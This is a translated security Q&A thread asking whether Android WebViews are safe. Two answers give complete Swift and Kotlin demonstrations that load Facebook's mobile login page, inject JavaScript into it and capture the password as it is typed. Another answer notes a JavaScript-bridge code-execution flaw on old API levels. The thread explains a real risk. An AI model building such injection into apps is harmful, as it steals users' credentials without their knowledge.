android 中的 Web 视图是否安全?

信息安全 安卓 网页浏览器
2021-09-03 17:35:22

网络视图”是显示一些在线内容的视图,通常是安卓应用程序中的网页。

实施的“网络视图”通常似乎没有任何类型的状态栏或地址栏来确认我是否在正确的网站上。因此,它成为恶意应用程序提供可用于网络钓鱼的网页的完美利用,例如伪造的 facebook 登录页面,它可以在很少或根本没有怀疑的情况下窃取我的凭据!

这是问题之一,我想有一个更详细和明确的答案。

那么 Web 视图是否安全?它们包含哪些风险?

让我问一下这方面的几点:-

  • Web 视图是否存在与股票 android 浏览器相同的安全漏洞和缺陷(因为它是它的衍生产品?)
  • Web 视图中的密码提交表单通常会出现“记住密码”对话框。这些应用程序是否与这个“密码商店”完全隔离?
  • 应用程序是否可以将一些代码“注入”到 Web 视图中以跟踪击键/点击?
  • 应用程序可以访问 Web 视图的哪些其他部分?

我希望这个问题不会太宽泛。

4个回答

不完全是你问的,但我看到人们经常错过这个,这已经成为一个问题。

JavaScript 桥用于突破浏览器沙箱(功能)。但是,对于为 API 级别 <17 编译的应用程序(即使您运行的是最新最好的应用程序,但应用程序是使用较低的 API 级别编译的,它也是易受攻击的),可以使用反射从 JavaScript 执行任何 Java 代码(请参阅滥用 WebView JavaScript 桥)。

让我重申一下:在 WebView 中启用 JavaScript 桥接后,“网页”可以作为 WebView 应用程序执行任何代码。

更多参考:

我不是 android 人,来自 iOS 世界,Webviews 根本不安全。在 iOS 中,您绝对可以将 javascript 注入WKWebKit. 在这里,我准备了一个演示。

import UIKit
import WebKit

class ViewController: UIViewController {

    private var webView: WKWebView?
    private var url = URL(string: "https://m.facebook.com/")!
    private var domInputFieldId = "m_login_password"
    
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        initializeWebView()
        loadData()
        
    }
    
    private func initializeWebView() {
        
        let javascript = """
    window.onload = function() {
         var passField = document.getElementById("\(domInputFieldId)");
         passField.addEventListener("input", function(evt) {
         window.webkit.messageHandlers.jsMessenger.postMessage("\(domInputFieldId): " + passField.value.toString());
         });
         window.webkit.messageHandlers.jsMessenger.postMessage("Window loaded");
    }
    window.webkit.messageHandlers.jsMessenger.postMessage("Script sent first message");
"""

        let userScript = WKUserScript.init(source: javascript,
                                           injectionTime: .atDocumentStart, forMainFrameOnly: true)
        
        let contentController = WKUserContentController()
        contentController.addUserScript(userScript)
        contentController.add(self, name: "jsMessenger")
        
        
        let config = WKWebViewConfiguration()
        config.userContentController = contentController
        
        webView = WKWebView(frame: view.frame, configuration: config)
        webView?.navigationDelegate = self
        
        view.addSubview(webView!)
    }
    
    private func loadData() {
        webView?.load(URLRequest.init(url: url))
    }
    
}

extension ViewController: WKNavigationDelegate {
    public func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        print("WKWebView Delegate let me know, that it's done loading")
    }
}

extension ViewController: WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        print(message.body)
    }
}

我所做的一切都是用 id 监听 DOM(文档对象模型)子节点m_login_password,并将其传递给我的应用程序。

输出

在此处输入图像描述

WebView 类可用布尔值之一是 setJavaScriptEnabled。将此设置为 true/false 将打开通过 JavaScript 可用的正常漏洞。也就是说,WebView 具有可用作普通浏览器的所有 api。因此,在编写接受用户输入(验证等)的 WebView 或显示任何静态内容的 WebView 时,应采取所有正常的预防措施。

关于您关于记住密码的观点。如果您拥有此功能并将凭据保存在应用程序的 WebView 中,则非根设备上的其他应用程序将无法使用它。一个你进入一个有根的环境,一切皆有可能。

应用程序是否可以将一些代码“注入”到 Web 视图中以跟踪击键/点击?

与Ratul Sharker的回答类似,结果证明在 Android 上也可以实现相同的操作:

import android.os.Bundle
import android.util.Log
import android.view.ViewGroup.LayoutParams
import android.view.ViewGroup.LayoutParams.MATCH_PARENT
import android.webkit.JavascriptInterface
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        WebView(this)
            .apply {
                layoutParams = LayoutParams(MATCH_PARENT, MATCH_PARENT)
                addJavascriptInterface(LoggerInterface(), "Logger")
                webViewClient = PasswordLogger()
                settings.javaScriptEnabled = true
                loadUrl("https://m.facebook.com")
            }
            .also(::setContentView)
    }

}

class PasswordLogger : WebViewClient() {
    override fun onPageFinished(view: WebView, url: String) {
        val script = """
            var field = document.getElementById("m_login_password");
            field.addEventListener("input", function(e) {
                Logger.log("password: " + field.value.toString());
            });
        """

        view.evaluateJavascript(script, null)
    }
}

class LoggerInterface {
    @JavascriptInterface
    fun log(message: String) = Log.d("Logger", message)
}

屏幕截图